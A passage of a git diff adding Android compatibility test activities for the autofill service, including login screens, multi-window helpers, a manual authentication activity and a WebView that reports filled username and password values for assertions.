+     * {@link #assertAutoFilled()} later.
+     */
+    public void expectAutoFill(String username, String password) {
+        mExpectation = new FillExpectation(username, password);
+        mUsernameEditText.addTextChangedListener(mExpectation.ccUsernameWatcher);
+        mPasswordEditText.addTextChangedListener(mExpectation.ccPasswordWatcher);
+    }
+
+    /**
+     * Sets the expectation for an autofill request (for username only), so it can be asserted
+     * through {@link #assertAutoFilled()} later.
+     *
+     * <p><strong>NOTE: </strong>This method checks the result of text change, it should not call
+     * this method too early, it may cause test fail. Call this method before checking autofill
+     * behavior.
+     * <pre>
+     * An example usage is:
+     * <code>
+     *  public void testAutofill() throws Exception {
+     *      // Enable service and trigger autofill
+     *      enableService();
+     *      final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+     *                 .addDataset(new CannedFillResponse.CannedDataset.Builder()
+     *                         .setField(ID_USERNAME, "test")
+     *                         .setField(ID_PASSWORD, "tweet")
+     *                         .setPresentation(createPresentation("Second Dude"))
+     *                         .setInlinePresentation(createInlinePresentation("Second Dude"))
+     *                         .build());
+     *      sReplier.addResponse(builder.build());
+     *      mUiBot.selectByRelativeId(ID_USERNAME);
+     *      sReplier.getNextFillRequest();
+     *      // Filter suggestion
+     *      mActivity.onUsername((v) -> v.setText("t"));
+     *      mUiBot.assertDatasets("Second Dude");
+     *
+     *      // Call expectAutoFill() before checking autofill behavior
+     *      mActivity.expectAutoFill("test", "tweet");
+     *      mUiBot.selectDataset("Second Dude");
+     *      mActivity.assertAutoFilled();
+     *  }
+     * </code>
+     * </pre>
+     */
+    public void expectAutoFill(String username) {
+        mExpectation = new FillExpectation(username);
+        mUsernameEditText.addTextChangedListener(mExpectation.ccUsernameWatcher);
+    }
+
+    /**
+     * Sets the expectation for an autofill request (for password only), so it can be asserted
+     * through {@link #assertAutoFilled()} later.
+     *
+     * <p><strong>NOTE: </strong>This method checks the result of text change, it should not call
+     * this method too early, it may cause test fail. Call this method before checking autofill
+     * behavior. {@See #expectAutoFill(String)} for how it should be used.
+     */
+    public void expectPasswordAutoFill(String password) {
+        mExpectation = new FillExpectation(null, password);
+        mPasswordEditText.addTextChangedListener(mExpectation.ccPasswordWatcher);
+    }
+
+    /**
+     * Asserts the activity was auto-filled with the values passed to
+     * {@link #expectAutoFill(String, String)}.
+     */
+    public void assertAutoFilled() throws Exception {
+        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
+        if (mExpectation.ccUsernameWatcher != null) {
+            mExpectation.ccUsernameWatcher.assertAutoFilled();
+        }
+        if (mExpectation.ccPasswordWatcher != null) {
+            mExpectation.ccPasswordWatcher.assertAutoFilled();
+        }
+    }
+
+    public void forceAutofillOnUsername() {
+        syncRunOnUiThread(() -> getAutofillManager().requestAutofill(mUsernameEditText));
+    }
+
+    public void forceAutofillOnPassword() {
+        syncRunOnUiThread(() -> getAutofillManager().requestAutofill(mPasswordEditText));
+    }
+
+    /**
+     * Visits the {@code username_label} in the UiThread.
+     */
+    public void onUsernameLabel(Visitor<TextView> v) {
+        syncRunOnUiThread(() -> v.visit(mUsernameLabel));
+    }
+
+    /**
+     * Visits the {@code username} in the UiThread.
+     */
+    public void onUsername(Visitor<EditText> v) {
+        syncRunOnUiThread(() -> v.visit(mUsernameEditText));
+    }
+
+    @Override
+    public void clearFocus() {
+        syncRunOnUiThread(() -> ((View) mUsernameContainer.getParent()).requestFocus());
+    }
+
+    /**
+     * Gets the {@code username_label} view.
+     */
+    public TextView getUsernameLabel() {
+        return mUsernameLabel;
+    }
+
+    /**
+     * Gets the {@code username} view.
+     */
+    public EditText getUsername() {
+        return mUsernameEditText;
+    }
+
+    /**
+     * Visits the {@code password_label} in the UiThread.
+     */
+    public void onPasswordLabel(Visitor<TextView> v) {
+        syncRunOnUiThread(() -> v.visit(mPasswordLabel));
+    }
+
+    /**
+     * Visits the {@code password} in the UiThread.
+     */
+    public void onPassword(Visitor<EditText> v) {
+        syncRunOnUiThread(() -> v.visit(mPasswordEditText));
+    }
+
+    /**
+     * Visits the {@code login} button in the UiThread.
+     */
+    public void onLogin(Visitor<Button> v) {
+        syncRunOnUiThread(() -> v.visit(mLoginButton));
+    }
+
+    /**
+     * Gets the {@code password} view.
+     */
+    public EditText getPassword() {
+        return mPasswordEditText;
+    }
+
+    /**
+     * Taps the login button in the UI thread.
+     */
+    public String tapLogin() throws Exception {
+        mLoginLatch = new CountDownLatch(1);
+        syncRunOnUiThread(() -> mLoginButton.performClick());
+        boolean called = mLoginLatch.await(LOGIN_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) waiting for login", LOGIN_TIMEOUT_MS)
+                .that(called).isTrue();
+        return mLoginMessage;
+    }
+
+    /**
+     * Taps the save button in the UI thread.
+     */
+    public void tapSave() throws Exception {
+        syncRunOnUiThread(() -> mSaveButton.performClick());
+    }
+
+    /**
+     * Taps the clear button in the UI thread.
+     */
+    public void tapClear() {
+        syncRunOnUiThread(() -> mClearButton.performClick());
+    }
+
+    /**
+     * Sets the window flags.
+     */
+    public void setFlags(int flags) {
+        Log.d(TAG, "setFlags():" + flags);
+        syncRunOnUiThread(() -> getWindow().setFlags(flags, flags));
+    }
+
+    /**
+     * Adds a child view to the root container.
+     */
+    public void addChild(View child) {
+        Log.d(TAG, "addChild(" + child + "): id=" + child.getAutofillId());
+        final ViewGroup root = (ViewGroup) mUsernameContainer.getParent();
+        syncRunOnUiThread(() -> root.addView(child));
+    }
+
+    /**
+     * Holder for the expected auto-fill values.
+     */
+    private final class FillExpectation {
+        private final OneTimeTextWatcher ccUsernameWatcher;
+        private final OneTimeTextWatcher ccPasswordWatcher;
+
+        private FillExpectation(String username, String password) {
+            ccUsernameWatcher = username == null ? null
+                    : new OneTimeTextWatcher("username", mUsernameEditText, username);
+            ccPasswordWatcher = password == null ? null
+                    : new OneTimeTextWatcher("password", mPasswordEditText, password);
+        }
+
+        private FillExpectation(String username) {
+            this(username, null);
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/LoginNotImportantForAutofillActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginNotImportantForAutofillActivity.java
new file mode 100644
index 0000000..bfc1713
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginNotImportantForAutofillActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+
+/**
+ * Same as {@link LoginActivity}, but with autofill disabled.
+ */
+public class LoginNotImportantForAutofillActivity extends LoginActivity {
+
+    @Override
+    protected int getContentView() {
+        return R.layout.login_activity_not_important;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/LoginNotImportantForAutofillWrappedActivityContextActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginNotImportantForAutofillWrappedActivityContextActivity.java
new file mode 100644
index 0000000..6114ad2
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginNotImportantForAutofillWrappedActivityContextActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.content.Context;
+import android.content.ContextWrapper;
+import android.util.Log;
+
+/**
+ * Same as {@link LoginNotImportantForAutofillActivity}, but using a context wrapper of itself
+ * as the base context.
+ */
+public class LoginNotImportantForAutofillWrappedActivityContextActivity
+        extends LoginNotImportantForAutofillActivity {
+
+    private Context mMyBaseContext;
+
+    @Override
+    public Context getBaseContext() {
+        if (mMyBaseContext == null) {
+            mMyBaseContext = new ContextWrapper(super.getBaseContext());
+            Log.d(mTag, "getBaseContext(): set to " + mMyBaseContext + " (instead of "
+                    + super.getBaseContext() + ")");
+        }
+        return mMyBaseContext;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/LoginNotImportantForAutofillWrappedApplicationContextActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginNotImportantForAutofillWrappedApplicationContextActivity.java
new file mode 100644
index 0000000..bea6f88
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginNotImportantForAutofillWrappedApplicationContextActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.content.Context;
+import android.content.ContextWrapper;
+import android.util.Log;
+
+/**
+ * Same as {@link LoginNotImportantForAutofillActivity}, but using a context wrapper of itself
+ * as the base context.
+ */
+public class LoginNotImportantForAutofillWrappedApplicationContextActivity
+        extends LoginNotImportantForAutofillActivity {
+
+    private Context mMyBaseContext;
+
+    @Override
+    public Context getBaseContext() {
+        if (mMyBaseContext == null) {
+            mMyBaseContext = new ContextWrapper(getApplicationContext());
+            Log.d(mTag, "getBaseContext(): set to " + mMyBaseContext + " (instead of "
+                    + super.getBaseContext() + ")");
+        }
+        return mMyBaseContext;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/LoginWithCustomHighlightActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginWithCustomHighlightActivity.java
new file mode 100644
index 0000000..1f151ca
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginWithCustomHighlightActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+
+/**
+ * Same as {@link LoginActivity}, but with a custom autofill highlight drawable.
+ */
+public class LoginWithCustomHighlightActivity extends LoginActivity {
+
+    @Override
+    protected int getContentView() {
+        return R.layout.login_activity;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/LoginWithStringsActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginWithStringsActivity.java
new file mode 100644
index 0000000..032b5a8
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginWithStringsActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+
+/**
+ * Same as {@link LoginActivity}, but with the texts for some fields set from resources.
+ */
+public class LoginWithStringsActivity extends LoginActivity {
+
+    @Override
+    protected int getContentView() {
+        return R.layout.login_with_strings_activity;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/ManualAuthenticationActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/ManualAuthenticationActivity.java
new file mode 100644
index 0000000..e3ebd1f
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/ManualAuthenticationActivity.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import android.app.Activity;
+import android.app.assist.AssistStructure;
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.Helper;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Parcelable;
+import android.view.autofill.AutofillManager;
+
+/**
+ * An activity that authenticates on button press
+ */
+public class ManualAuthenticationActivity extends Activity {
+    private static CannedFillResponse sResponse;
+    private static CannedFillResponse.CannedDataset sDataset;
+
+    public static void setResponse(CannedFillResponse response) {
+        sResponse = response;
+        sDataset = null;
+    }
+
+    public static void setDataset(CannedFillResponse.CannedDataset dataset) {
+        sDataset = dataset;
+        sResponse = null;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.single_button_activity);
+
+        findViewById(R.id.button).setOnClickListener((v) -> {
+            AssistStructure structure = getIntent().getParcelableExtra(
+                    AutofillManager.EXTRA_ASSIST_STRUCTURE);
+            if (structure != null) {
+                Parcelable result;
+                if (sResponse != null) {
+                    result = sResponse.asFillResponse(/* contexts= */ null,
+                            (id) -> Helper.findNodeByResourceId(structure, id));
+                } else if (sDataset != null) {
+                    result = sDataset.asDatasetWithNodeResolver(
+                            (id) -> Helper.findNodeByResourceId(structure, id));
+                } else {
+                    throw new IllegalStateException("no dataset or response");
+                }
+
+                // Pass on the auth result
+                Intent intent = new Intent();
+                intent.putExtra(AutofillManager.EXTRA_AUTHENTICATION_RESULT, result);
+                setResult(RESULT_OK, intent);
+            }
+
+            // Done
+            finish();
+        });
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowEmptyActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowEmptyActivity.java
new file mode 100644
index 0000000..75c9b18
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowEmptyActivity.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.testcore.Timeouts;
+import android.util.Log;
+
+import com.android.compatibility.common.util.RetryableException;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Empty activity that allows to be put in different split window.
+ */
+public class MultiWindowEmptyActivity extends EmptyActivity {
+
+    private static final String TAG = "MultiWindowEmptyActivity";
+    private static MultiWindowEmptyActivity sLastInstance;
+    private static CountDownLatch sLastInstanceLatch;
+    private static CountDownLatch sDestroyLastInstanceLatch;
+
+    @Override
+    protected void onStart() {
+        super.onStart();
+        sLastInstance = this;
+        if (sLastInstanceLatch != null) {
+            sLastInstanceLatch.countDown();
+        }
+    }
+
+    @Override
+    public void onWindowFocusChanged(boolean hasFocus) {
+        if (hasFocus) {
+            if (sLastInstanceLatch != null) {
+                sLastInstanceLatch.countDown();
+            }
+        }
+    }
+
+    public static void expectNewInstance(boolean waitWindowFocus) {
+        sLastInstanceLatch = new CountDownLatch(waitWindowFocus ? 2 : 1);
+    }
+
+    public static MultiWindowEmptyActivity waitNewInstance() throws InterruptedException {
+        if (!sLastInstanceLatch.await(Timeouts.ACTIVITY_RESURRECTION.getMaxValue(),
+                TimeUnit.MILLISECONDS)) {
+            throw new RetryableException("New MultiWindowEmptyActivity didn't start",
+                    Timeouts.ACTIVITY_RESURRECTION);
+        }
+        sLastInstanceLatch = null;
+        return sLastInstance;
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+
+        if (sDestroyLastInstanceLatch != null) {
+            sDestroyLastInstanceLatch.countDown();
+        }
+    }
+
+    public static void finishAndWaitDestroy() {
+        if (sLastInstance != null) {
+            sLastInstance.finish();
+
+            sDestroyLastInstanceLatch = new CountDownLatch(1);
+            try {
+                sDestroyLastInstanceLatch.await(Timeouts.ACTIVITY_RESURRECTION.getMaxValue(),
+                        TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                Log.e(TAG, "interrupted waiting for MultiWindowEmptyActivity to be destroyed");
+                Thread.currentThread().interrupt();
+            }
+            sDestroyLastInstanceLatch = null;
+            sLastInstance = null;
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowLoginActivity.java
new file mode 100644
index 0000000..53bd825
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowLoginActivity.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.testcore.Timeouts;
+
+import com.android.compatibility.common.util.RetryableException;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Activity that allows capture recreated instance for testing multi window scenarios.
+ */
+public class MultiWindowLoginActivity extends LoginActivity {
+
+    private static MultiWindowLoginActivity sLastInstance;
+    private static CountDownLatch sLastInstanceLatch;
+
+    @Override
+    protected void onStart() {
+        super.onStart();
+        sLastInstance = this;
+        if (sLastInstanceLatch != null) {
+            sLastInstanceLatch.countDown();
+        }
+    }
+
+    @Override
+    public void onWindowFocusChanged(boolean hasFocus) {
+        if (hasFocus) {
+            if (sLastInstanceLatch != null) {
+                sLastInstanceLatch.countDown();
+            }
+        }
+    }
+
+    public static void expectNewInstance(boolean waitWindowFocus) {
+        sLastInstanceLatch = new CountDownLatch(waitWindowFocus ? 2 : 1);
+    }
+
+    public static MultiWindowLoginActivity waitNewInstance() throws InterruptedException {
+        if (!sLastInstanceLatch.await(Timeouts.ACTIVITY_RESURRECTION.getMaxValue(),
+                TimeUnit.MILLISECONDS)) {
+            throw new RetryableException("New MultiWindowLoginActivity didn't start",
+                    Timeouts.ACTIVITY_RESURRECTION);
+        }
+        sLastInstanceLatch = null;
+        return sLastInstance;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/MyWebView.java b/tests/autofillservice/src/android/autofillservice/cts/activities/MyWebView.java
new file mode 100644
index 0000000..5900a9d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/MyWebView.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import static android.autofillservice.cts.testcore.Timeouts.FILL_TIMEOUT;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.Context;
+import android.util.AttributeSet;
+import android.util.Log;
+import android.view.autofill.AutofillManager;
+import android.webkit.JavascriptInterface;
+import android.webkit.WebView;
+
+import com.android.compatibility.common.util.RetryableException;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link WebView} used to assert contents were autofilled.
+ */
+public class MyWebView extends WebView {
+
+    private static final String TAG = "MyWebView";
+
+    private FillExpectation mExpectation;
+
+    public MyWebView(Context context) {
+        super(context);
+        setJsHandler();
+        Log.d(TAG, "isAutofillEnabled() on constructor? " + isAutofillEnabled());
+    }
+
+    public MyWebView(Context context, AttributeSet attrs) {
+        super(context, attrs);
+        setJsHandler();
+        Log.d(TAG, "isAutofillEnabled() on constructor? " + isAutofillEnabled());
+    }
+
+    public void expectAutofill(String username, String password) {
+        mExpectation = new FillExpectation(username, password);
+    }
+
+    public void assertAutofilled() throws Exception {
+        assertWithMessage("expectAutofill() not called").that(mExpectation).isNotNull();
+        mExpectation.assertUsernameCalled();
+        mExpectation.assertPasswordCalled();
+    }
+
+    private void setJsHandler() {
+        getSettings().setJavaScriptEnabled(true);
+        addJavascriptInterface(new JavascriptHandler(), "JsHandler");
+    }
+
+    public boolean isAutofillEnabled() {
+        return getContext().getSystemService(AutofillManager.class).isEnabled();
+    }
+
+    private class FillExpectation {
+        private final CountDownLatch mUsernameLatch = new CountDownLatch(1);
+        private final CountDownLatch mPasswordLatch = new CountDownLatch(1);
+        private final String mExpectedUsername;
+        private final String mExpectedPassword;
+        private String mActualUsername;
+        private String mActualPassword;
+
+        FillExpectation(String username, String password) {
+            this.mExpectedUsername = username;
+            this.mExpectedPassword = password;
+        }
+
+        void setUsername(String username) {
+            mActualUsername = username;
+            mUsernameLatch.countDown();
+        }
+
+        void setPassword(String password) {
+            mActualPassword = password;
+            mPasswordLatch.countDown();
+        }
+
+        void assertUsernameCalled() throws Exception {
+            assertCalled(mUsernameLatch, "username");
+            assertWithMessage("Wrong value for username").that(mExpectation.mActualUsername)
+                .isEqualTo(mExpectation.mExpectedUsername);
+        }
+
+        void assertPasswordCalled() throws Exception {
+            assertCalled(mPasswordLatch, "password");
+            assertWithMessage("Wrong value for password").that(mExpectation.mActualPassword)
+                    .isEqualTo(mExpectation.mExpectedPassword);
+        }
+
+        private void assertCalled(CountDownLatch latch, String field) throws Exception {
+            if (!latch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS)) {
+                throw new RetryableException(FILL_TIMEOUT, "%s not called", field);
+            }
+        }
+    }
+
+    private class JavascriptHandler {
+
+        @JavascriptInterface
+        public void onUsernameChanged(String username) {
+            Log.d(TAG, "onUsernameChanged():" + username);
+            if (mExpectation != null) {
+                mExpectation.setUsername(username);
+            }
+        }
+
+        @JavascriptInterface
+        public void onPasswordChanged(String password) {
+            Log.d(TAG, "onPasswordChanged():" + password);
+            if (mExpectation != null) {
+                mExpectation.setPassword(password);
+            }
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/NonAutofillableActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/NonAutofillableActivity.java
new file mode 100644
index 0000000..3ece6be
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/NonAutofillableActivity.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+import android.os.Bundle;
+
+public final class NonAutofillableActivity extends AbstractAutoFillActivity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.non_autofillable_activity);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/OnCreateServiceStatusVerifierActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/OnCreateServiceStatusVerifierActivity.java
new file mode 100644
index 0000000..e53d68b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/OnCreateServiceStatusVerifierActivity.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import static android.autofillservice.cts.testcore.Helper.getAutofillServiceName;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.R;
+import android.os.Bundle;
+import android.util.Log;
+
+// TODO(b/159304958): Move to activity folder
+/**
+ * Activity used to verify whether the service is enable or not when it's launched.
+ */
+public class OnCreateServiceStatusVerifierActivity extends AbstractAutoFillActivity {
+
+    private static final String TAG = "OnCreateServiceStatusVerifierActivity";
+
+    public static final String SERVICE_NAME =
+            android.autofillservice.cts.testcore.NoOpAutofillService.SERVICE_NAME;
+
+    private String mSettingsOnCreate;
+    private boolean mEnabledOnCreate;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.simple_save_activity);
+
+        mSettingsOnCreate = getAutofillServiceName();
+        mEnabledOnCreate = getAutofillManager().isEnabled();
+        Log.i(TAG, "On create: settings=" + mSettingsOnCreate + ", enabled=" + mEnabledOnCreate);
+    }
+
+    public void assertServiceStatusOnCreate(boolean enabled) {
+        if (enabled) {
+            assertWithMessage("Wrong settings").that(mSettingsOnCreate)
+                .isEqualTo(SERVICE_NAME);
+            assertWithMessage("AutofillManager.isEnabled() is wrong").that(mEnabledOnCreate)
+                .isTrue();
+
+        } else {
+            assertWithMessage("Wrong settings").that(mSettingsOnCreate).isNull();
+            assertWithMessage("AutofillManager.isEnabled() is wrong").that(mEnabledOnCreate)
+                .isFalse();
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/OptionalSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/OptionalSaveActivity.java
new file mode 100644
index 0000000..22587d2
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/OptionalSaveActivity.java
@@ -0,0 +1,170 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.OneTimeTextWatcher;
+import android.content.Intent;
+import android.os.Bundle;
+import android.view.View;
+import android.view.View.OnClickListener;
+import android.widget.Button;
+import android.widget.EditText;
+
+import androidx.annotation.Nullable;
+
+/**
+ * Activity that has the following fields:
+ *
+ * <ul>
+ *   <li>Address 1 EditText (id: address1)
+ *   <li>Address 2 EditText (id: address2)
+ *   <li>City EditText (id: city)
+ *   <li>Favorite Color EditText (id: favorite_color)
+ *   <li>Clear Button
+ *   <li>SaveButton
+ * </ul>
+ *
+ * <p>It's used to test auto-fill Save when not all fields are required.
+ */
+public class OptionalSaveActivity extends AbstractAutoFillActivity {
+
+    public static final String ID_ADDRESS1 = "address1";
+    public static final String ID_ADDRESS2 = "address2";
+    public static final String ID_CITY = "city";
+    public static final String ID_FAVORITE_COLOR = "favorite_color";
+
+    public EditText mAddress1;
+    public EditText mAddress2;
+    public EditText mCity;
